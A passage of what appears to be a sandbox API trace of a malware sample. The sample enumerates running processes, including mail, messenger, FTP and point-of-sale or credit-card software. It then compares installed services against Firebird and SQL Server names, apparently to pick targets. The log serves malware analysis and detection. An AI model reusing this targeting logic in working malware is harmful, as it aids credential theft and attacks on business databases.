	[0080.835] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0080.836] lstrlenW (lpString="fling.exe") returned 9
	[0080.836] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0080.837] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0080.837] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0080.838] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0080.838] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0080.839] lstrlenW (lpString="icq.exe") returned 7
	[0080.839] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0080.840] lstrlenW (lpString="leechftp.exe") returned 12
	[0080.840] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0080.841] lstrlenW (lpString="ncftp.exe") returned 9
	[0080.841] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0080.841] lstrlenW (lpString="notepad.exe") returned 11
	[0080.841] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0080.842] lstrlenW (lpString="operamail.exe") returned 13
	[0080.842] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0080.843] lstrlenW (lpString="pidgin.exe") returned 10
	[0080.843] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0080.844] lstrlenW (lpString="scriptftp.exe") returned 13
	[0080.844] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0080.845] lstrlenW (lpString="skype.exe") returned 9
	[0080.845] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0080.846] lstrlenW (lpString="smartftp.exe") returned 12
	[0080.846] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0080.846] lstrlenW (lpString="thunderbird.exe") returned 15
	[0080.846] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0080.847] lstrlenW (lpString="totalcmd.exe") returned 12
	[0080.847] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0080.848] lstrlenW (lpString="trillian.exe") returned 12
	[0080.848] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0080.849] lstrlenW (lpString="webdrive.exe") returned 12
	[0080.849] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0080.850] lstrlenW (lpString="whatsapp.exe") returned 12
	[0080.850] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0080.851] lstrlenW (lpString="winscp.exe") returned 10
	[0080.851] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0080.852] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0080.852] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0080.852] lstrlenW (lpString="active-charge.exe") returned 17
	[0080.852] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0080.853] lstrlenW (lpString="accupos.exe") returned 11
	[0080.853] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0080.854] lstrlenW (lpString="afr38.exe") returned 9
	[0080.854] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0080.855] lstrlenW (lpString="aldelo.exe") returned 10
	[0080.855] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0080.855] lstrlenW (lpString="ccv_server.exe") returned 14
	[0080.855] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0080.856] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0080.856] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0080.857] lstrlenW (lpString="creditservice.exe") returned 17
	[0080.857] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0080.858] lstrlenW (lpString="edcsvr.exe") returned 10
	[0080.858] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0080.858] lstrlenW (lpString="fpos.exe") returned 8
	[0080.858] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0080.859] lstrlenW (lpString="isspos.exe") returned 10
	[0080.859] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0080.860] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0080.860] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0080.860] lstrlenW (lpString="omnipos.exe") returned 11
	[0080.861] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0080.861] lstrlenW (lpString="spcwin.exe") returned 10
	[0080.861] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0080.862] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0080.862] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0080.863] lstrlenW (lpString="utg2.exe") returned 8
	[0080.863] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0080.863] lstrlenW (lpString="explicit.exe") returned 12
	[0080.863] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0081.388] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0081.388] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0081.389] lstrlenW (lpString="taskhostw.exe") returned 13
	[0081.389] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0081.390] lstrlenW (lpString="UsoClient.exe") returned 13
	[0081.390] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0081.390] lstrlenW (lpString="taskhostw.exe") returned 13
	[0081.390] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0081.391] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0081.391] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0081.392] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0081.392] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0081.392] lstrlenW (lpString="conhost.exe") returned 11
	[0081.392] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0081.393] lstrlenW (lpString="conhost.exe") returned 11
	[0081.393] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.393] lstrlenW (lpString="svchost.exe") returned 11
	[0081.394] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0081.394] lstrlenW (lpString="fvppjh.exe") returned 10
	[0081.394] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.395] lstrlenW (lpString="svchost.exe") returned 11
	[0081.395] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0081.396] lstrlenW (lpString="cmd.exe") returned 7
	[0081.396] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0081.397] lstrlenW (lpString="conhost.exe") returned 11
	[0081.397] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0081.397] lstrlenW (lpString="dllhost.exe") returned 11
	[0081.397] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0081.398] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0081.398] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0081.398] lstrlenW (lpString="mode.com") returned 8
	[0081.398] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0081.399] CloseHandle (hObject=0x398) returned 1
	[0081.399] Sleep (dwMilliseconds=0x1f4) 
	[0082.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ec78
	[0082.269] EnumServicesStatusExW (in: hSCManager=0x75ec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0082.269] GetLastError () returned 0xea
	[0082.269] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1d6a) returned 0x784bf8
	[0082.270] EnumServicesStatusExW (in: hSCManager=0x75ec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x784bf8, cbBufSize=0x1d6a, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x784bf8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0082.279] CloseServiceHandle (hSCObject=0x75ec78) returned 1
	[0082.280] lstrlenW (lpString="Appinfo") returned 7
	[0082.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0082.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0082.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0082.280] lstrlenW (lpString="AppXSvc") returned 7
	[0082.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0082.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0082.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0082.280] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0082.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0082.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0082.280] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0082.280] lstrlenW (lpString="Audiosrv") returned 8
	[0082.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0082.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0082.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0082.280] lstrlenW (lpString="BFE") returned 3
	[0082.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0082.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0082.280] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0082.280] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0082.281] lstrlenW (lpString="BITS") returned 4
	[0082.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0082.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0082.281] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0082.281] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0082.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0082.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0082.281] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0082.281] lstrlenW (lpString="CDPSvc") returned 6
	[0082.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0082.281] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0082.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0082.281] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0082.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0082.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0082.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0082.281] lstrlenW (lpString="CryptSvc") returned 8
	[0082.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0082.281] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0082.282] lstrlenW (lpString="DcomLaunch") returned 10
	[0082.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0082.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0082.282] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0082.282] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
